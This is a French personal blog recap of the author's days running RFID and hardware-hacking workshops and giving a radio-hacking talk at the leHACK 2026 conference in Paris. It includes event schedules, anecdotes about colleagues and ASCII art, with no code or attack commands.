:: Préparation du village LeLAB Faut d'abord savoir que l'événement est à la Cité des sciences et de l’industrie, 30 av Corentin Cariou, 75019 PARIS. Donc pas dutout à Argenteuil. Je suis à Gennevillier pour le travail et BellY arrive à Gare de Lyon. Il à pas eu de chance, il pouvais pas s'amener en voiture, et à donc du tout foutre dans un sac de sport et ce taper les 15 kilos de materiels. Merci encore à lui pour le transport, qu'as dû se trimballer cette putain de caisse. On passe le portique sans trop de difficulté, rigolant évidemment de la quantitée absurde de bordel par bien rangé dans des sacs pas bien fermés. On rejoins donc le salon leHACK la veille de son ouverture pour poser les affaires. Pas d'bol on peux pas rentrer sans bracelet et on en as pas....Tccorp à bien gentillement fait du social pour nous laisser rentrer et j'ai enfin eu la possibilitée de poser les affaires. Je rejoins tout le monde dans la petite salle et commence à poser mon merdier à côté de Virtu, juste devant l'entrée. NB: La salle est séparée en deux parties, ouvertes pour l'occasion. Une première rangée de tables sur la gauche en rentrant, une seconde en face et une dernière tout au fond à droite. ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓ ┃ 7h30th3r0n3 DVID ┌───┐ ┃ ┃ ┌──────┬──────┐ │░░░│ ┃ ┃ │░░░░░░│░░░░░░│ │░░░│ Tables ┃ ┃ └──────┴──────┘ ├───┤ d'Ateliers ┃ ┃ │░░░│ ┃ ┃ ┌───┐ │░░░│ ┃ ┃Virtu │░░░│ └───┼──────┬──────┐ ┃ ┃ │░░░│ │░░░░░░│░░░░░░│ ┃ ┃Tix ├───┤ └──────┴──────┘ ┃ ┃ │░░░│ ┃ ┃CarIn │░░░│ ┃ ┃aBox ├───┤ ┃ ┃ │░░░│ ┏━━━━━━━━━━━━━━━━━┓ ┌───┐ ┃ ┃Beemo │░░░│ ┃ ┃ Gadget│░░░│ ┃ ┃ └───┘ ┃ ┃ │░░░│ ┃ ┃ ┃ ENTREE ┃ └───┘ ┃ ┃ ┃ ┃ ┃ ┗━━━━━━━━━━━━━━━━━━━━━━┛ ╔ ═ ═ ═ ■┗━━━━━━━━━━━━━━━━━━━━━┛ ┌───┐ ┌──────┬──────┐ Un zozo qui │░░░│ │░░░░░░│░░░░░░│ comptais │░░░│ └──────┴──────┘ les gens └───┘ Stickers et Goodies Je savais pas trop comment m'organiser, je vois autour de moi et je sais pas quoi foutre de mes 6 oscillos, 5 targets etc. Je décide donc de mettre mon vieux pc, une live ISO de DragonOS + HackRF en libre service devant la table. Derrière 5 oscillos empilé dont un branché channel 1 sur le RX d'un vieux LINKSYS dépioté et un CH340 branché au PC. Tccorp à la gentillesse de me filer deux gateways Zigbee en plus que je vais pouvoir mettre dans ma pile de merdier. Pendant que BellY m'aide à organiser la table, je fous les multimètres sur la grande table en plus des fers à souder posés par Tccorp On discute bien et on finis la journée et on profite de l'occasion pour s'incruster au repas des speakers. On fait connaissace, je recroise Biero qui va aussi présenter, Stéphane et deux nouvelle personnes que je connais pas. On reste jusque 23h avant ce ce rendre compte que notre dernier train est à 00h00 et on s'en va discrètement prendre le tram ;) je suis sorti de là avec : _ {_} 2 pintes de bière dans le bide |(| Des oeufs mayonnaises en entrée / \ . ' . Un steak sauce poivre avec des frites |.--| ' \~~~/ || | \~~~/ \_/ Je suis pas très viande, je mange |'--| \_/ Y majoritairement végétarien mais '-=-' Y _|_ y'avais du monde et y'avais que ça _|_jgs donc j'ai pas fait le mec chiant Résulat, on as pas payé un copec ;P J+0 :: Ateliers, ballade et découvertes Paris étant Paris, on as décider de ce lever un peu plus tôt pour arriver à 8h30 d'Argenteuil, pas d'bol, les train argenteuil paris est blindé le matin on as du attendre bien un ou deux trains ava ot de pouvoir partir, saucissonné dans le wagon. Puis le métro, toujours saucissonné jusqu'à arriver à l'entrée. Cette fois, 8h00 du mat, la queue faisais au moins 150m on c'est perdu de vue avec BellY et j'ai hésité à gruger Je suis finallement resté calme et j'ai attendu mon tour. Petit bracelet en poche, badge VIP/Speaker et bandoulière j'ai pu filer directement dans la salle pour poser mes affaires, dire bonjour et me ballader. J'en ai profité pour préparer le laptop en libre service. J'ai démarré la machine sur DragonOS, allumé ./Simple_IMSI_catcher.py (je savais qu'il passait donc petit clin d'oeil) avec une note en gros et gars, __..._ _...__ _..-" `Y` "-._ \ N'AIE PAS | UTILISE / \\ PEUR.. | -MOI :P // \\\ | /// \\\ _..---.|.---.._ /// jgs \\`_..---.Y.---.._`// '` `' Je suis ensuite allé faire les retrouvailles au stands en attendant mon tour pour les ateliers. Tccorp préparais son atelier soudure, 7h30th3r0n3 avais monté son hall of shame, affichant tout les flippers avec le bluetooth allumé, Gadget c'est assis dans un coin avec son oscillo et un fat écran et virtu m'a montré sa découpe vinyl qu'il as reprogrammé. Des ateliers étaient programmés toute la journée -------------------------------------------------------------------------------- ::::::: LeLAB TRACK ::::::: Village Hardware Salle C et D niveau S2 ::::::: 26/06/2026 -------------------------------------------------------------------------------- 10:00 - 12:00 Badge Hackropole + Atelier mesures (par team badge FCSC) - Soudure de badges lumineux capacitifs - Découverte des oscillos, analyseur logique, décodage de protocoles. 12:00 - 13:00 NFC/RFID Lab (Moi) - Proxmark3, clone de badges, attaques NFC (replay,clone,fuzz…) - Cracker plusieurs cibles, à plusieurs niveaux. 13:00 - 14:00 Hacking de Tag ESL via esp32 (par 7h30th3r0n3) - Comprendre le protocole - Flasher l'esp32 pour interagir avec le tag - Exploration des différentes fonctionnalités 14:00 - 17:00 Ateliers en continu (par team badge FCSC) - Toujours du badge et des mesures 17:00 - 18:00 Workshop "Explorer les signaux avec le DigiLab" (par tixlegeek) - Flipper Zero, détection de grandeurs, retours sensoriels… En même temps quelques talks Salle 3 niveau S3 14:00 - 14h50 Talk "IoT Horror Stories" (par Skander Belabed) 15:00 - 16:00 Talk "ESP32 au-delà des limites" (par 7h30th3r0n3) 16:00 - 17:00 Talk "Offensive AI on ESP32" (par x42en & Ben Mz) -------------------------------------------------------------------------------- 10H30 Sorti de la cave, y'avais déja beaucoup, BEAUCOUP de monde, les stands habituels, Mozilla, OSINT-FR, Synacktiv, Quarkslab, YWH, les keufs, etc J'en profite pour croiser d'anciens élèves à moi et camarades, boire un, puis deux, puis trois cafés, manger des bonbons au CBD éviter les keufs et la DGSI et faire connaissance avec de nouvelles têtes. 12H00 C'est le moment de mon atelier "Lecture et clonage de badges RFID", j'ai préparé un petit sac de cibles (clairement pas assez) avec un peu de tout, des badges iTag, du 125KHz, de l'ISO 1444-a, du Mifare Classic 1K et 4K, du DesFire, et deux trois faux positifs (j'ai mis des cartes sans rien et des jetons de casino RFID ISO 18000 qui marche pas sur le pm3) et une dixaines de clone chinois du proxmark3 rev2. L'objectif était d'apprendre à compiler et flasher le firmware d'iceman sur la machine et d'utiliser les fonctionalitées de base. Evidemment, sur les dix copies, on as eu quelques soucis de faux contacts sur au moins 3, 70% de fiabilitée La majoritée des gens on pus utiliser le materiel, reflash le proxmark et lire le petit sac de cibles que j'avais. J'ai passé les dernières minutes restantes à expliquer un petit peu le fonctionnement RFID/NFC, les différents tiroirs et leurs utilitées, l'utilisation des clés A et B, le tiroir 0 et l'UUID etc.. Je manquais clairement de cibles et donc demandé au copain Tr1stus1er de me filer un coup de mains pour le lendemain. 13H00 Rien de spécial l'après midi, déja j'ai un peu la dalle à force de bouger et j'ai compris qu'on avais droit à des paniers bouffe entant que conférenciers, j'ai oublier de les prendre, Tuxlu m'a donc gentilment acheter un bout de sandwich et une boisson. Je me suis ensuite encore balladé, discuté, rencontrer du monde. Tix faisais des tours de salon avec son joli chapeau, Dr4Sil est arrivé, Des skids d'Oteria ce sont amusés à émettre comme des crados sur un canal PMR en mode station de nombres, 70mW dans la gueule on c'est donc amusés à les localiser. Pas de chance pour eux, quand on est allé les confronter z'avais pas fini de tout ranger. Faut dire que leur setup était crade, émettais trop fort et pas de bonne qualitée. Je suis pas aller voir de conférences le premier jour, pas eu l'occasion. Nous sommes restés avec BellY jusque pas trop tard le soir, 23h pour pouvoir rentrer. J+1 :: Ateliers, beuverie et présentations Ok deuxième jour un peu plus compliqué, j'ai un atelier à leLAB à 12H, un workshop hardware le soir et surtout une présentation début d'aprèm. En plus de ça je dois, voir la présentation d'Oros, voir la présentation de Biero et d'autres si possible. Surtout que ce soir, on reste juqu'à pas d'heure pour le Wargame et comme d'habitude, mon workshop est programmé fin de soirée. On ce lève ver 7H30, parti à 8H00, on loupe encore un ou deux trains, et on arrives vers 9H30-10H00 au salon. Cette fois moins de monde, les salles étaient un peu plus respirable et on ce bousculais pas. Je croise Tr1stus et l'emène poser son bazar, une grosse caisse de badges, cartes, tickets, ce que tu veux..à peut près 13ans de récup RFID dans une boite. Les ateliers changent un petit peu, -------------------------------------------------------------------------------- ::::::: LeLAB Track ::::::: Village Hardware (Salle C & D niveau S2 + Salle 3 niveau S3) ::::::: 27/06/2026 -------------------------------------------------------------------------------- 10h00 - 12h00 Badge Hackropole + Atelier mesures (toujours eux) - Soudure de badges lumineux capacitifs - Découverte / expérimentation autour des instruments de labo (oscilloscope MSO, analyse logique, décodage de protocoles, génération de signaux, glitches, etc.) 12h50 - 13h00 (créneau continu) Workshop NFC/RFID Lab (par Beemo) - Proxmark3, clone de badges, attaques NFC… 13h00 - 14h00 Workshop Hacking de Tag ESL via ESP32 (par 7h30th3r0n3) - Protocole, flashage ESP32, exploration des fonctionnalités… 14h00 - 17h00 Workshop Badge Hackropole + Atelier mesures - Badge + mesures en continu 17h00 - 18h00 Workshop "Explorer les signaux avec le DigiLab" (par tixlegeek) - Flipper Zero, détection de grandeurs, retours sensoriels… 18h00 - 18h50 Talk "Cyberpunk Guide to hardware hacking" (par tixlegeek) - Un guide simple pour se lancer dans le hardware hacking 18h00 - 20h00 Workshop "Le top 5 des vulnérabilités IoT" (par yggdrasil) - Compromettre un firmware / altérer des données / élever des privilèges avec peu de matos 20h00 - 21h00 Workshop "Outil de bypass de protection JTAG" (par Croute) - Casser une protection (RDP) et récupérer le firmware en reproduisant des attaques réelles TALKS Salle 3 niveau S3: 10h00 - 10h20 Talk "KeyProxy" (par Rémi GUILLON) - Keylogger physique et open-source conçu pour la Red Team 10h30 - 10h50 Talk "Getting your first CVE with hardware hacking" (Yassine Damiri) - Obtenir ton premier CVE avec du hardware hacking 11h00 - 11h50 Talk "De la PS Vita au Flipper Zero" (par Jeremie Amsellem) - Aventure du hacking de consoles jusqu’à la création d’outils de sécurité 12h00 - 12h50 Talk "Bootstrapping Kindle research" (par Tanguy Dubroca) - Un nouveau jailbreak Kindle développé pour répondre à une question personnelle 19h00 - 19h55 Talk "Offensive AI on ESP32" (par x42en & Ben Mz) - Vandal : Wi‑Fi, Bluetooth, Sub‑GHz, BadUSB… (démos prévues) -------------------------------------------------------------------------------- j'ai encore l'occasion de bouger dans le salon, voir les copains. 12H00 - je fais l'atelier, pas tout seul cette fois, a deux c'est quand même beaucoup plus fluide et j'ai enfin l'occasion de souffler un peu. Toujours pareil, les petit défauts des copies chinoises ce font ressentir et il fallu bricoler sur place. Même déroulement, même résultat, plutot content. J'apprend que mon atelier hardware est programmé pour 21H00 et que ma présentation est à 17H00 à l'amphithéatre Gaston Berger. Biero et L0Key font leur présentation vers 15h50, non filmée et Oros fait sa présentation à 18H30 L'aprèm j'en profite pour terminer mes slides, quelques coquilles à corriger et une ou deux slides à rajouter. Cette année je parle, comme à mon habitude, de piratage radio, une petite introduction à ce qu'est techniquement la radio, le vocabulaire et les différents types d'attaques. 15H50 Biero et L0key on décidé de pas filmer la présentation, et par flemme je vais pas détaillé ce qui a été dis, z'aviez qu'à être là, mais en gros, c'est la mise sous les projecteurs d'un groupe crack/warez ControlsNothing dont X fait parti. Objectif simple, cracker des logiciels industriels et les méthodes de protection par mot de passe des projets. La présentation expliquait les différents outils qu'on as eu l'occasion de reverse / crack et un petit narratif du pourquoi du comment qu'X à fait ça. AkA: y'a un marché au vietnam qui revend des projets volé protégés par mot de passe, et pour baiser le marché, X c'est mis en tête de publier ça gratos. L0key à présenter les deux trois outils qu'il à eu l'occasion de reverse et cracker et Biero nous as fait un joli narratif sur le Warez vietnamien 17H00 Après la présentation de biero, viens celle de Virtu que je ne vais pas pouvoir voir car je doit me préparer. Je descend dans la succursalle et la régie ou on le colle le micro sur la bouche, la batterie au cul, on me tripote tout le long pour brancher tout ça et je doit attendre mon tour sans trop bouger. La présentation en elle est même plutôt courte, là ou d'habitude je prend mon temps (45min-1H30 à SecSea2K24) j'ai du speed à 25 min max et j'ai quand même réussi à me faire engeuler. J'ai eu pas mal de question intéressantes, pas mal d'étranger qui en ont profité pour faire leurs pub de club radio amateur, un ops bizarre qui m'a parlé de drones. Je me suis évidemment fait alpagué par deux trois personnes à la fin, un militaire qui fait de la reconnaissance de signaux et qu'éssayait de m'embriguader dans ses emerdes, les brhackeuses, et Oros que je vois pour la première fois en physique. ça présentation est un peu similaire mais porté sur la 2G avec sont tool et une démo pas piqué des hannetons ;) 19H00 La présentation d'Oros terminée je vais enfin pouvoir boire. J'en profite pour me faufiler et taxer un max de pintes, tel le ras que je pense être avant de devoir retourner faire un atelier. 21H00 Je suis un peu éclaté, fatigué, et j'ai pommé une partie de mon materiel, J'arrive dans une salle après avoir stipulé qu'on pouvais pas être plus de 3 groupes, et voilà 15-20 personnes qui ce ramènes....Des multimètres qui tombe en rade et un ou deux transfos de LINKSYS que je retrouve pas. J'ai eu la visite fortuite de Snorky et son conpère, venu me soutenir. L'atelier ce passe bien, et j'en profite pour proposer deux trois cibles en plus 00H00 Ayé j'ai tout fini, je vais pouvoir m'éclatax! Je recroise Oros et Fox qui discutent. Je croise Matthieu, Mozzie, WaWa et on fini la soiré à discuter tous ensemble. Je fait des allez retours toute la nuit entre le WarGame et le coin dehors pour papoter et voir ou en sont les gens du CTF (je participe pas, la concurrence ça pue du cul) J+2 :: Mal au crâne + rangement On est dimanche, Il est 7H30 et on est pas couchés, on as passé la soirée au Wargame et à la buvette, on c'est bien amusés, on as bien discutés, on as joués au babyfoot et au air-hockey avec les zombies restants. Je vous avouerais que là, j'ai envie d'une seule chose, une douche et dodo. On prend donc la décision, après avoir tout rangé dans leLAB et mis les affaires dans le sac, de ce barrer. Fin de séance et il me manque encore deux/trois multimètre. On arrives à en retrouver deux dans les affaires avec Tcccorp [^1]. Le dernier à été retrouvé un peu plus tard, j'était déja parti, et soigneusement gardé par Tcccorp jusqu'à notre prochaine rencontre. On pack tout et on c'en va, éclatés et pas encore désaoulé pour ma part. Le voyage m'a paru extrèmement long, et après moutle galères, nous sommes arrivés dans le AirBnB pour prendre notre douche et s'écrouler comme des merdes dans le lit pour un dodo bien mérité. .---. / . \ |\_/| | | | /| .-----------------------------------------------------------' | / .-. _______ ______ _ _ _____ | | / \ |__ __|| __ | ____|| \ | || __ \ | | |\_. | | | |__ /__\ | |__ | \| || | | | | |\| | /| | | | \| ___| | __| | . ` || | | | | | `---' | | | | || | |____ | |\ || |__| | | | | |_| \__/ |______||_| \_||_____/ | | | / | |-----------------------------------------------------' \ | \ / `---' NoTes Merci à Mozzie et WaWa que j'ai croisé et fusillé du regard, certain de les avoirs déja croisés quelque part ;) [^1] Pendant tout l'événement j'ai pas arrêter de pômmer des affaires, des multimètres et des targets RFID, à un tel point que Tcccorp à commencer à m'appeler petit poucet. -- EOF --